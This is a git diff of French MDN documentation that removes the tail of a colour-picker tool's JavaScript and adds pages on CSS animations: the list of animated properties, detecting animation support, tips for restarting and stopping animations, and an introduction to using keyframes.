-			var location = e.dataTransfer.getData('location');
-			if (location !== 'picker-samples')
-				return;
-
-			var sampleID = e.dataTransfer.getData('sampleID');
-			samples[sampleID].deleteSample();
-			console.log(samples);
-
-			updateUI();
-		};
-
-		var createDropSample = function createDropSample() {
-			var sample = document.createElement('div');
-			sample.id = 'drop-effect-sample';
-			sample.className = 'sample';
-			container.appendChild(sample);
-		};
-
-		var setActivateSample = function setActivateSample(e) {
-			if (e.target.className !== 'sample')
-				return;
-
-			unsetActiveSample(active);
-			Tool.unsetVoidSample();
-			CanvasSamples.unsetActiveSample();
-			active = samples[e.target.getAttribute('sample-id')];
-			active.activate();
-		};
-
-		var unsetActiveSample = function unsetActiveSample() {
-			if (active)
-				active.deactivate();
-			active = null;
-		};
-
-		var getSampleColor = function getSampleColor(id) {
-			if (samples[id] !== undefined && samples[id]!== null)
-				return new Color(samples[id].color);
-		};
-
-		var updateContainerProp = function updateContainerProp() {
-			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
-			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
-			container.style.height = height + 10 + 'px';
-		};
-
-		var AddSampleButton = (function AddSampleButton() {
-			var node;
-			var _index = 0;
-			var _posX;
-			var _posY;
-
-			var updatePosition = function updatePosition(index) {
-				_index = index;
-				_posY = 5 + ((index / samples_per_line) | 0) * 52;
-				_posX = 5 + ((index % samples_per_line) | 0) * 52;
-
-				node.style.top  = _posY + 'px';
-				node.style.left = _posX + 'px';
-			};
-
-			var addButtonClick = function addButtonClick() {
-				var sample = new ColorSample();
-				container.appendChild(sample.node);
-				updatePosition(_index + 1);
-				updateUI();
-			};
-
-			var init = function init() {
-				node = document.createElement('div');
-				var icon = document.createElement('div');
-
-				node.className = 'sample';
-				icon.id = 'add-icon';
-				node.appendChild(icon);
-				node.addEventListener('click', addButtonClick);
-
-				updatePosition(0);
-				container.appendChild(node);
-			};
-
-			return {
-				init : init,
-				updatePosition : updatePosition
-			};
-		})();
-
-		var init = function init() {
-			container = getElemById('picker-samples');
-			trash_can = getElemById('trash-can');
-
-			AddSampleButton.init();
-
-			for (var i=0; i<16; i++) {
-				var sample = new ColorSample();
-				container.appendChild(sample.node);
-			}
-
-			AddSampleButton.updatePosition(samples.length);
-			updateUI();
-
-			active = samples[0];
-			active.activate();
-
-			container.addEventListener('click', setActivateSample);
-
-			trash_can.addEventListener('dragover', allowDropEvent);
-			trash_can.addEventListener('dragenter', function() {
-				this.parentElement.setAttribute('drag-state', 'enter');
-			});
-			trash_can.addEventListener('dragleave', function(e) {
-				this.parentElement.setAttribute('drag-state', 'none');
-			});
-			trash_can.addEventListener('drop', deleteSample);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (active)
-					active.updateColor(color);
-			});
-
-		};
-
-		return {
-			init : init,
-			getSampleColor : getSampleColor,
-			unsetActiveSample : unsetActiveSample
-		};
-
-	})();
-
-	/**
-	 * Canvas Samples
-	 */
-	var CanvasSamples = (function CanvasSamples() {
-
-		var active = null;
-		var canvas = null;
-		var samples = [];
-		var zindex = null;
-		var tutorial = true;
-
-		var CanvasSample = function CanvasSample(color, posX, posY) {
-
-			var node = document.createElement('div');
-			var pick = document.createElement('div');
-			var delete_btn = document.createElement('div');
-			node.className = 'sample';
-			pick.className = 'pick';
-			delete_btn.className = 'delete';
-
-			this.uid = samples.length;
-			this.node = node;
-			this.color = color;
-			this.updateBgColor();
-			this.zIndex = 1;
-
-			node.style.top = posY - 50 + 'px';
-			node.style.left = posX - 50 + 'px';
-			node.setAttribute('sample-id', this.uid);
-
-			node.appendChild(pick);
-			node.appendChild(delete_btn);
-
-			var activate = function activate() {
-				setActiveSample(this);
-			}.bind(this);
-
-			node.addEventListener('dblclick', activate);
-			pick.addEventListener('click', activate);
-			delete_btn.addEventListener('click', this.deleteSample.bind(this));
-
-			UIComponent.makeDraggable(node);
-			UIComponent.makeResizable(node);
-
-			samples.push(this);
-			canvas.appendChild(node);
-			return this;
-		};
-
-		CanvasSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		CanvasSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
-			this.zIndex = value;
-			this.node.style.zIndex = value;
-		};
-
-		CanvasSample.prototype.activate = function activate() {
-			this.node.setAttribute('data-active', 'true');
-			zindex.setAttribute('data-active', 'true');
-
-			UIColorPicker.setColor('picker', this.color);
-			InputSliderManager.setValue('z-index', this.zIndex);
-		};
-
-		CanvasSample.prototype.deactivate = function deactivate() {
-			this.node.removeAttribute('data-active');
-			zindex.removeAttribute('data-active');
-		};
-
-		CanvasSample.prototype.deleteSample = function deleteSample() {
-			if (active === this)
-				unsetActiveSample();
-			canvas.removeChild(this.node);
-			samples[this.uid] = null;
-		};
-
-		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
-			this.node.style.top = posY - this.startY + 'px';
-			this.node.style.left = posX - this.startX + 'px';
-		};
-
-		var canvasDropEvent = function canvasDropEvent(e) {
-			var color = Tool.getSampleColorFrom(e);
-
-			if (color) {
-				var offsetX = e.pageX - canvas.offsetLeft;
-				var offsetY = e.pageY - canvas.offsetTop;
-				var sample = new CanvasSample(color, offsetX, offsetY);
-				if (tutorial) {
-					tutorial = false;
-					canvas.removeAttribute('data-tutorial');
-					var info = new CanvasSample(new Color(), 100, 100);
-					info.node.setAttribute('data-tutorial', 'dblclick');
-				}
-			}
-
-		};
-
-		var setActiveSample = function setActiveSample(sample) {
-			ColorPickerSamples.unsetActiveSample();
-			Tool.unsetVoidSample();
-			unsetActiveSample();
-			active = sample;
-			active.activate();
-		};
-
-		var unsetActiveSample = function unsetActiveSample() {
-			if (active)
-				active.deactivate();
-			active = null;
-		};
-
-		var createToggleBgButton = function createToggleBgButton() {
-			var button = document.createElement('div');
-			var state = false;
-			button.className = 'toggle-bg';
-			canvas.appendChild(button);
-
-			button.addEventListener('click', function() {
-				console.log(state);
-				state = !state;
-				canvas.setAttribute('data-bg', state);
-			});
-		};
-
-		var init = function init() {
-			canvas = getElemById('canvas');
-			zindex = getElemById('zindex');
-
-			canvas.addEventListener('dragover', allowDropEvent);
-			canvas.addEventListener('drop', canvasDropEvent);
-
-			createToggleBgButton();
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (active)	active.updateColor(color);
-			});
-
-			InputSliderManager.subscribe('z-index', function (value) {
-				if (active)	active.updateZIndex(value);
-			});
-
-			UIComponent.makeResizable(canvas, 'height');
-		};
-
-		return {
-			init : init,
-			unsetActiveSample : unsetActiveSample
-		};
-
-	})();
-
-	var StateButton = function StateButton(node, state) {
-		this.state = false;
-		this.callback = null;
-
-		node.addEventListener('click', function() {
-			this.state = !this.state;
-			if (typeof this.callback === "function")
-				this.callback(this.state);
-		}.bind(this));
-	};
-
-	StateButton.prototype.set = function set() {
-		this.state = true;
-		if (typeof this.callback === "function")
-			this.callback(this.state);
-	};
-
-	StateButton.prototype.unset = function unset() {
-		this.state = false;
-		if (typeof this.callback === "function")
-			this.callback(this.state);
-	};
-
-	StateButton.prototype.subscribe = function subscribe(func) {
-		this.callback = func;
-	};
-
-
-	/**
-	 * Tool
-	 */
-	var Tool = (function Tool() {
-
-		var samples = [];
-		var controls = null;
-		var void_sw;
-
-		var createPickerModeSwitch = function createPickerModeSwitch() {
-			var parent = getElemById('controls');
-			var icon = document.createElement('div');
-			var button = document.createElement('div');
-			var hsv = document.createElement('div');
-			var hsl = document.createElement('div');
-			var active = null;
-
-			icon.className = 'icon picker-icon';
-			button.className = 'switch';
-			button.appendChild(hsv);
-			button.appendChild(hsl);
-
-			hsv.textContent = 'HSV';
-			hsl.textContent = 'HSL';
-
-			active = hsl;
-			active.setAttribute('data-active', 'true');
-
-			function switchPickingModeTo(elem) {
-				active.removeAttribute('data-active');
-				active = elem;
-				active.setAttribute('data-active', 'true');
-				UIColorPicker.setPickerMode('picker', active.textContent);
-			};
-
-			var picker_sw = new StateButton(icon);
-			picker_sw.subscribe(function() {
-				if (active === hsv)
-					switchPickingModeTo(hsl);
-				else
-					switchPickingModeTo(hsv);
-			});
-
-			hsv.addEventListener('click', function() {
-				switchPickingModeTo(hsv);
-			});
-			hsl.addEventListener('click', function() {
-				switchPickingModeTo(hsl);
-			});
-
-			parent.appendChild(icon);
-			parent.appendChild(button);
-		};
-
-		var setPickerDragAndDrop = function setPickerDragAndDrop() {
-			var preview = document.querySelector('#picker .preview-color');
-			var picking_area = document.querySelector('#picker .picking-area');
-
-			preview.setAttribute('draggable', 'true');
-			preview.addEventListener('drop', drop);
-			preview.addEventListener('dragstart', dragStart);
-			preview.addEventListener('dragover', allowDropEvent);
-
-			picking_area.addEventListener('drop', drop);
-			picking_area.addEventListener('dragover', allowDropEvent);
-
-			function drop(e) {
-				var color = getSampleColorFrom(e);
-				UIColorPicker.setColor('picker', color);
-			};
-
-			function dragStart(e) {
-				e.dataTransfer.setData('sampleID', 'picker');
-				e.dataTransfer.setData('location', 'picker');
-			};
-		};
-
-		var getSampleColorFrom = function getSampleColorFrom(e) {
-			var sampleID = e.dataTransfer.getData('sampleID');
-			var location = e.dataTransfer.getData('location');
-
-			if (location === 'picker')
-				return UIColorPicker.getColor(sampleID);
-			if (location === 'picker-samples')
-				return ColorPickerSamples.getSampleColor(sampleID);
-			if (location === 'palette-samples')
-				return ColorPalette.getSampleColor(sampleID);
-		};
-
-		var setVoidSwitch = function setVoidSwitch() {
-			var void_sample = getElemById('void-sample');
-			void_sw = new StateButton(void_sample);
-			void_sw.subscribe( function (state) {
-				void_sample.setAttribute('data-active', state);
-				if (state === true) {
-					ColorPickerSamples.unsetActiveSample();
-					CanvasSamples.unsetActiveSample();
-				}
-			});
-		};
-
-		var unsetVoidSample = function unsetVoidSample() {
-			void_sw.unset();
-		};
-
-		var init = function init() {
-			controls = getElemById('controls');
-
-			var color = new Color();
-			color.setHSL(0, 51, 51);
-			UIColorPicker.setColor('picker', color);
-
-			setPickerDragAndDrop();
-			createPickerModeSwitch();
-			setVoidSwitch();
-		};
-
-		return {
-			init : init,
-			unsetVoidSample : unsetVoidSample,
-			getSampleColorFrom : getSampleColorFrom
-		};
-
-	})();
-
-	var init = function init() {
-		UIColorPicker.init();
-		InputSliderManager.init();
-		ColorInfo.init();
-		ColorPalette.init();
-		ColorPickerSamples.init();
-		CanvasSamples.init();
-		Tool.init();
-	};
-
-	return {
-		init : init
-	};
-
-})();
-
-
-
- - -
{{CSSRef}}
- -

Cet outil vous permet de définir des couleurs web personnalisées.

- -

L'outil offre également une conversion facile entre les différents formats de couleurs CSS: couleurs hexadécimales, RVB (Rouge, Vert, Bleu) (aussi appelé RGB en anglais) et TSL (Teinte, Saturation Luminosité) (aussi appelé HSL en anglais). Le canal Alpha est également pris en charge pour les formats RGB (rgba) et HSL (hsla).

- -

Chaque couleur est prédéfinie dans les 3 formats standard CSS.

- -

En fonction de la couleur courante, une palette de couleurs est générée sur une échelle TSL ainsi que sur une échelle de transparence (en faisant varier l'alpha).

- -

Le sélecteur peut être réglé sur les formats HSL ou HSV (valeur de teinte et staturation).

- -

{{EmbedLiveSample('ColorPIcker_Tool', '100%', '900')}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_animated_properties/index.html b/files/fr/web/css/css_animated_properties/index.html new file mode 100644 index 0000000000..e3927a94d8 --- /dev/null +++ b/files/fr/web/css/css_animated_properties/index.html @@ -0,0 +1,17 @@ +--- +title: Liste des propriétés CSS animées +slug: Web/CSS/Liste_propriétés_CSS_animées +tags: + - Animations + - CSS + - Reference + - Transitions +translation_of: Web/CSS/CSS_animated_properties +--- +
{{CSSRef}}
+ +

Certaines propriétés CSS peuvent être animées. Cela signifie que leur valeur change de façon graduelle grâce aux animations CSS ou aux transitions CSS.

+ +

Voici la liste des propriétés qui peuvent être animées :

+ +

{{CSSAnimatedProperties}}

diff --git a/files/fr/web/css/css_animations/detecting_css_animation_support/index.html b/files/fr/web/css/css_animations/detecting_css_animation_support/index.html new file mode 100644 index 0000000000..a2cb1bd5a3 --- /dev/null +++ b/files/fr/web/css/css_animations/detecting_css_animation_support/index.html @@ -0,0 +1,99 @@ +--- +title: Détecter la prise en charge des animations CSS +slug: Web/CSS/Animations_CSS/Détecter_la_prise_en_charge_des_animations_CSS +tags: + - Avancé + - CSS + - Obsolete +translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support +--- +
{{CSSRef}}{{obsolete_header}}
+ +
+

Attention ! Les techniques décrites dans cet article sont obsolètes et peuvent être remplacées par l'utilisation de {{cssxref("@supports")}}.

+
+ +

Avec les animations CSS, on peut ajouter des animations sur du contenu, uniquement en utilisant CSS. Toutefois, cette fonctionnalité n'est parfois pas disponible et on souhaiterait alors pouvoir gérer ce cas et appliquer un effet similaire avec JavaScript. Cet article, basé sur ce billet de Christian Heilmann, illustre une technique pour détecter la prise en charge des animations CSS.

+ +

Détecter la prise en charge des animations CSS

+ +

Ce code JavaScript permet de vérifier que les animations CSS peuvent être utilisées dans le navigateur :

+ +
var animation = false,
+  animationstring = 'animation',
+  keyframeprefix = '',
+  domPrefixes = 'Webkit Moz O ms Khtml'.split(' '),
+  pfx  = '',
+  elem = document.createElement('div');
+
+if( elem.style.animationName !== undefined ) { animation = true; }
+
+if( animation === false ) {
+  for( var i = 0; i < domPrefixes.length; i++ ) {
+    if( elem.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) {
+      pfx = domPrefixes[ i ];
+      animationstring = pfx + 'Animation';
+      keyframeprefix = '-' + pfx.toLowerCase() + '-';
+      animation = true;
+      break;
+    }
+  }
+}
+
+ +

Pour commencer, on définit quelques variables et on part de l'hypothèse que les animations ne sont pas prises en charge en définissant animation avec false. On utilise la chaîne de caractères animationstring avec la valeur "animation" car celle-ci représentera le nom de la propriété qu'on souhaite définir. On crée également un tableau contenant les préfixes des différents navigateurs afin de pouvoir parcourir ces différents cas et qu'on utilisera avec la variable pfx qu'on définit pour le moment avec la chaîne vide.

+ +

Ensuite, on vérifie si la propriété CSS {{cssxref("animation-name")}}  on est définie sur l'élément représenté par la variable elem. Cela signifie alors que le navigateur prend en charge les animations CSS sans préfixe.

+ +

Si le navigateur ne prend pas en charge la version sans préfixe et que animation vaut toujours false, on parcourt les différents préfixes des principaux navigateurs et on modifie le nom de AnimationName de la même façon.

+ +

Une fois que ce code a fini son exécution, la valeur de animation sera false si les animations ne sont pas prises en charge ou true si animation est le bon nom et que le préfixe est correct. Pour les préfixes, on fera attention à la variation entre le camelCase (ex. MozAnimation) et les tirets (-moz-x).

+ +

Appliquer des animations avec la bonne syntaxe selon le navigateur

+ +

Maintenant qu'on sait que les animations CSS sont prises en charge, on peut appliquer des animations :

+ +
if( animation === false ) {
+
+  // on utilise JavaScript en fallback
+
+} else {
+  elem.style[ animationstring ] = 'rotate 1s linear infinite';
+
+  var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+
+                    'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+
+                    'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+
+                  '}';
+
+  if( document.styleSheets && document.styleSheets.length ) {
+
+      document.styleSheets[0].insertRule( keyframes, 0 );
+
+  } else {
+
+    var s = document.createElement( 'style' );
+    s.innerHTML = keyframes;
+    document.getElementsByTagName( 'head' )[ 0 ].appendChild( s );
+
+  }
+
+}
+
+ +

Ce code utilise la valeur d'animation : si c'est false, on utilise JavaScript pour recréer l'effet de l'animation. Sinon, on utilise JavaScript pour manipuler les animations CSS.

+ +

Pour définir la propriété d'animation, il suffit de mettre à jour la valeur dans la collection de style. Cependant, c'est un peu plus compliqué de gérer les étapes/keyframes car elles n'utilisent pas la syntaxe CSS traditionnelle.

+ +

Pour définir les étapes de l'animation avec JavaScript, il faut les écrire dans une chaîne de caractères CSS. On définit alors une variable keyframes qu'on construit avec le préfixe à utiliser. Une fois construite, cette variable contient la description complète des différentes étapes nécessaires à la description.

+ +

Ensuite, il faut ajouter les étapes au CSS de la page. Pour commencer, on regarde s'il n'y a pas déjà une feuille de style associée au document et si c'est le cas, on ajoute la description des étapes dans la feuille de style (cf. les lignes 13 et 15 du fragment de code ci-avant).

+ +

S'il n'y aucune feuille de style pré-existante, on crée un nouvel élément {{HTMLElement("style")}} et on remplit son contenu avec la valeur des étapes. Ensuite, on insère ce nouvel élément {{HTMLElement("style")}} dans l'élément {{HTMLElement("head")}} du document ce qui ajoute la nouvelle feuille de style au document.

+ +

Voir dans JSFiddle

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_animations/index.html b/files/fr/web/css/css_animations/index.html new file mode 100644 index 0000000000..acc7ab6997 --- /dev/null +++ b/files/fr/web/css/css_animations/index.html @@ -0,0 +1,81 @@ +--- +title: Les animations CSS +slug: Web/CSS/Animations_CSS +tags: + - CSS + - Reference +translation_of: Web/CSS/CSS_Animations +--- +
{{CSSRef}}
+ +

Les animations CSS sont un module CSS qui définit la façon dont les valeurs des propriétés CSS peuvent être animées au fur et à mesure d'une période via des étapes intermédiaires (keyframes en anglais). Le comportement de ces animations séquencées peut être défini en termes de durée, de nombre de répétitions et de la façon dont elles sont répétées.

+ +

Référence

+ +

Propriétés CSS

+ +
+
    +
  • {{cssxref("animation")}}
    • +
  • {{cssxref("animation-delay")}}
    • +
  • {{cssxref("animation-direction")}}
    • +
  • {{cssxref("animation-duration")}}
    • +
  • {{cssxref("animation-fill-mode")}}
    • +
  • {{cssxref("animation-iteration-count")}}
    • +
  • {{cssxref("animation-name")}}
    • +
  • {{cssxref("animation-play-state")}}
    • +
  • {{cssxref("animation-timing-function")}}
    • +
+
+ +

Règles @ CSS

+ +
+
    +
  • {{cssxref("@keyframes")}}
    • +
+
+ +

Guides

+ +
+
Détecter la prise en charge des animations CSS
+
Cet article décrit une technique permettant de détecter si le navigateur prend en charge les animations CSS.
+
Manipuler les animations CSS
+
Un tutoriel pas-à-pas qui explique comment créer des animations CSS. Cet article décrit les différentes propriétés et règles @ relatives aux animations et comment elles interagissent.
+
Conseils pour les animations CSS
+
Des conseils et astuces pour tirer le meilleur parti des animations CSS. Dans cet article, on décrit une technique qui permet de relancer une animation qui a déjà été exécutée, ce que l'API ne permet pas de faire nativement.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Animations')}}{{Spec2('CSS3 Animations')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

Propriété animation

+ + + +

{{Compat("css.properties.animation")}}

+ +

Voir aussi

+ +
    +
  • Les transitions CSS qui permettent de déclencher des animations suite à des actions utilisateur.
    • +
diff --git a/files/fr/web/css/css_animations/tips/index.html b/files/fr/web/css/css_animations/tips/index.html new file mode 100644 index 0000000000..bb79f19722 --- /dev/null +++ b/files/fr/web/css/css_animations/tips/index.html @@ -0,0 +1,165 @@ +--- +title: Trucs et astuces pour les animations CSS +slug: Web/CSS/Animations_CSS/Conseils +tags: + - Animations CSS + - CSS + - Exemple + - Guide + - Tutoriel +translation_of: Web/CSS/CSS_Animations/Tips +--- +
{{CSSRef}}
+ +

Les animations CSS permettent de réaliser réaliser des effets incroyables en mainpulant les éléments de vos documents et applications.. Cependant, il est parfois compliqué d'obtenir l'effet désiré. Dans cet article, on explorera différents conseils visant à simplifier la réalisation d'animations.

+ +

Relancer une animation

+ +

La spécifications des animations CSS ne permet pas de relancer une animation. Il n'existe pas de méthode resetAnimation() qui puisse être appelée sur les éléments et on ne peut pas utiliser la propriété {{cssxref("animation-play-state")}} pour la redéfinir sur "running". Pour obtenir cet effet qui permette de relancer une animation terminée, on utilisera cette astuce.

+ +

CSS

+ +

Tout d'abord, on définit l'animation avec des règles CSS (certaines règles superflues sont masquées ici à des fins de concision).

+ + + +
@keyframes colorchange {
+  0% { background: yellow }
+  100% { background: blue }
+}
+
+.box {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+}
+
+.changing {
+  animation: colorchange 2s;
+}
+ +

On a deux classes qui sont définies. La classe box qui décrit l'apparence de la boîte, sans aucune information relative à l'animation. Les détails de l'animation sont inclus dans la classe changing qui indique que les {{cssxref("@keyframes")}} intitulées colorchange doivent être utilisées sur une période de deux secondes afin d'animer la boîte.

+ +

Si on n'utilise que ces règles, la boîte n'est pas animée lorsqu'elle s'affiche.

+ +

HTML

+ +

Voici le fragment de HTML où on utilise un élément {{HTMLElement("div")}} qu'on veut animer et un bouton pour lancer (ou relancer) l'animation.

+ +
<div class="box">
+</div>
+
+<div class="runButton" onclick="play()">Cliquer pour lancer l'animation</div>
+ +

JavaScript

+ +

Enfin, voyons le JavaScript qui sera utilisé. Cette technique repose principalement sur la fonction play() qui est appelée lorsque l'utilisateur clique sur le bouton.

+ +
function play() {
+  document.querySelector(".box").className = "box";
+  window.requestAnimationFrame(function(time) {
+    window.requestAnimationFrame(function(time) {
+      document.querySelector(".box").className = "box changing";
+    });
+  });
+}
+ +

Cela paraît un peu étrange. Mais afin que l'animation soit lancée à nouveau, il faut : retirer l'effet d'animation, lancer le recalcul des styles dans le document pour que cette action soit enregistrée puis ajouter l'animation à nouveau sur l'élément.

+ +

Voici ce qui se produit lorsque la fonction play() est appelée :

+ +
    +
  1. On réinitialise la liste des classes CSS de la boîte avec uniquement box. Ce faisant, on retire toutes les autres classes qui s'appliquaient à la boîte, y compris la classe changing en charge de l'animation. Autrement dit, on retire l'effet d'animation. Toutefois, ces modifications de classes n'auront pas d'effet tant que les styles ne sont pas recalculés et qu'un rafraîchissement est réalisé pour appliquer ces modifications.
    2. +
  2. Afin de s'assurer que les styles sont recalculés, on utilise {{domxref("window.requestAnimationFrame()")}} en définissant une fonction de rappel (callback). La fonction de rappel est exécutée juste avant le prochain rafraîchissement du document. Seul problème : avant le rafraîchissement, le recalcul des styles n'a pas encore eu lieu. Aussi…
    3. +
  3. Notre fonction de rappel invoque à nouveau requestAnimationFrame() ! Cette fois, la fonction de rappel est lancée avant le prochain rafraîchissement qui aura lieu après le recalcul des styles. Dans cette nouvelle fonction de rappel, on ajoute la classe changing à la boîte afin que l'animation soit lancée lors du rafraîchissement.
    4. +
+ +

Bien entendu, on ajoutera également un gestion d'événement au bouton pour que l'ensemble soit bien branché :

+ +
document.querySelector(".runButton").addEventListener("click", play, false);
+ +

Résultat

+ +

{{EmbedLiveSample('Relancer_une_animation', 320, 160)}}

+ +

Arrêter une animation

+ +

Si on retire la propriété {{cssxref("animation-name")}} appliquée à un élément, l'animation s'arrêtera au prochain état défini. Si on souhaite plutôt que l'animation se termine et parvienne à un point d'arrêt, il faudra utiliser une autre approche. Voici quelques pistes :

+ +
    +
  1. L'animation doit être la plus isolée possible et on ne doit pas reposer sur  animation-direction: alternate. Il faut une animation explicitement séquencée qui parcourt l'ensemble de l'animation en un cycle.
    2. +
  2. Utiliser JavaScript pour retirer l'animation lorsque l'évènement animationiteration se déclenche.
    3. +
+ +

Ces pistes sont utilisées dans la démonstration suivante :

+ +

CSS

+ +
.slidein {
+  animation-duration: 5s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+.stopped {
+  animation-name: none;
+}
+
+@keyframes slidein {
+  0% {
+    margin-left: 0%;
+  }
+  50% {
+    margin-left: 50%;
+  }
+  100% {
+    margin-left: 0%;
+  }
+}
+
+ +

HTML

+ +
<h1 id="watchme">Cliquer pour arrêter</h1>
+
+ +

JavaScript

+ +
let watchme = document.getElementById('watchme')
+
+watchme.className = 'slidein'
+const listener = (e) => {
+  watchme.className = 'slidein stopped'
+}
+watchme.addEventListener('click', () =>
+  watchme.addEventListener('animationiteration', listener, false)
+)
+
+ +

Résultat

+ +

{{EmbedLiveSample("Arrêter_une_animation")}}

+ +

Voir cette démo

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_animations/using_css_animations/index.html b/files/fr/web/css/css_animations/using_css_animations/index.html new file mode 100644 index 0000000000..4010492e3d --- /dev/null +++ b/files/fr/web/css/css_animations/using_css_animations/index.html @@ -0,0 +1,363 @@ +--- +title: Utiliser les animations CSS +slug: Web/CSS/Animations_CSS/Utiliser_les_animations_CSS +tags: + - Avancé + - CSS + - Guide + - Reference +translation_of: Web/CSS/CSS_Animations/Using_CSS_animations +--- +
{{CSSRef}}
+ +

Les animations CSS permettent de créer des transitions entre deux états de mise en forme. Une animation est décrite par deux choses : des propriétés propres à l'animation d'une part et un ensemble d'étapes (keyframes) qui indiquent l'état initial, final et éventuellement des états intermédiaires d'autre part.

+ +

Trois avantages permettent de distinguer les animations CSS des techniques d'animations utilisant JavaScript :

+ +
    +
  1. On peut aisément obtenir des animations simples sans avoir à connaître JavaScript.
    2. +
  2. Les animations s'exécuteront correctement même lorsque le système est soumis à une charge modérée. Il est possible que des animations JavaScript s'exécutent lentement si elles sont mal décrites. Dans le cadre des animations CSS, le moteur de rendu peut utiliser certaines techniques (comme le frame-skipping) afin que le résultat obtenu soit aussi fluide que possible.
    3. +
  3. En laissant le contrôle de l'animation au navigateur, celui-ci peut optimiser les performances et l'efficacité du système, par exemple en réduisant la fréquence de mise à jour des animations qui sont exécutées dans des onglets qui ne sont pas visibles à l'écran.
    4. +
+ +

Paramétrer l'animation

+ +

Pour créer une animation CSS, il faut utiliser la propriété raccourcie {{cssxref("animation")}} ou les propriétés détaillées correspondantes sur un ou plusieurs éléments. Cette propriété permet de configurer la durée, le minutage et d'autres détails à propos de l'animation. Attention, cela ne détermine pas l'apparence visuelle de l'animation. Celle-ci est définie en utilisant des règles CSS de mise en forme au sein de la règle @ {{cssxref("@keyframes")}} comme décrit ci-après.

+ +

Les propriétés détaillées rattachées à la propriété raccourcie {{cssxref("animation")}} sont :

+ +
+
{{cssxref("animation-delay")}}
+
Cette propriété définit le délai entre le moment où l'élément est chargé et le moment où l'animation commence.
+
{{cssxref("animation-direction")}}
+
Cette propriété indique si l'animation doit alterner entre deux directions de progressions (faire des allers-retours) ou recommencer au début à chaque cycle de répétition.
+
{{cssxref("animation-duration")}}
+
Cette propriété définit la durée d'un cycle de l'animation.
+
{{cssxref("animation-fill-mode")}}
+
Cette propriété indique les valeurs qui doivent être appliquées aux propriétés avant et après l'exécution de l'animation.
+
{{cssxref("animation-iteration-count")}}
+
Cette propriété détermine le nombre de fois que l'animation est répétée. On peut utiliser le mot-clé infinite afin de répéter une animation infiniment.
+
{{cssxref("animation-name")}}
+
Cette propriété permet de déclarer un nom qui pourra être utilisé comme référence à l'animation pour la règle @ {{cssxref("@keyframes")}}.
+
{{cssxref("animation-play-state")}}
+
Cette propriété permet d'interrompre (« pause ») ou de reprendre l'exécution d'une animation.
+
{{cssxref("animation-timing-function")}}
+
Cette propriété configure la fonction de minutage d'une animation, autrement dit comment celle-ci accélère entre l'état initial et l'état final notamment grâce à des fonctions décrivant des courbes d'accélération.
+
+ +

Définir les étapes composant une animation (@keyframes)

+ +

Une fois qu'on a définit les propriétés propres à l'animation, on doit définir la mise en forme qui évolue lors de cette animation. Pour cela on définit deux étapes ou plus grâce à la règle @ {{cssxref("@keyframes")}}. Chaque étape décrit la façon dont l'élément animé doit être affiché à un instant donné lors de l'animation.

+ +

La durée de l'animation est définie avant et la règle @keyframes utilise donc des valeurs exprimées en pourcentages (type CSS {{cssxref("percentage")}}) pour indiquer l'instant correspondant à cet état. 0% indique l'état initial de l'animation et 100% indique l'état final. Ces deux états étant très important, il existe deux alias pour les décrire : from et to. Ces états sont optionnels et si from/0% ou to/100% ne sont pas définis, le navigateur utilisera les valeurs calculées des différentes propriétés.

+ +

Il est également possible d'ajouter des étapes intermédiaires, entre l'état initial et l'état final de l'animation.

+ +

Exemples

+ +
Note : Les exemples ci-après n'utilisent pas la version préfixée des propriétés liées aux animations. Il est possible que d'anciens navigateurs (antérieurs à 2017) aient besoin de ces préfixes pour fonctionner auquel cas l'exemple « live » ne fonctionnera pas.
+ +

Utiliser une animation pour que le texte traverse la fenêtre du navigateur

+ +

Dans cet exemple simple, on met en forme l'élément {{HTMLElement("p")}} afin que le texte passe de la droite vers la gauche de l'écran

+ +

On notera que les animations comme celle-ci peuvent agrandir la page qui sera alors plus grande que la fenêtre du navigateur. Pour éviter ce problème, on pourra placer l'élément animé dans un conteneur et utiliser {{cssxref("overflow")}}:hidden sur ce conteneur.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+ +

Dans cet exemple, on indique dans les propriétés de {{HTMLElement("p")}} que l'animation doit durer trois secondes entre le début et la fin (c'est le rôle de {{cssxref("animation-duration")}}) et que le nom utilisé par la règle @ {{cssxref("@keyframes")}} pour faire référence à cette animation sera slidein.

+ +

Ici, on ne souhaite illustrer que les animations mais on aurait très bien pu avoir d'autres règles « classiques » pour d'autres propriétés à déclarer sur l'élément.

+ +

Les étapes (keyframes) de l'animation sont définies via la règle @ {{cssxref("@keyframes")}}. Dans ce premier exemple, on a uniquement deux étapes. La première décrit l'état à 0% (on utilise l'alias from). Pour cet état initial, on veut que la marge gauche de l'élément soit à 100% (c'est-à-dire tout à droite de l'élément englobant) et que la largeur de l'élément soit de 300% (soit trois fois la largeur de l'élément englobant). Cela permet que le contenu soit dessiné hors de la fenêtre lors de l'état initial.

+ +

La seconde, et dernière, étape, se produit à 100% d'avancement (dans l'exemple, on utilise l'alias to). Pour cet état, la marge gauche vaut 0% et la largeur de l'élément vaut 100%. De cette façon le contenu finit sa course contre le borde gauche de la zone de contenu.

+ +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +
+

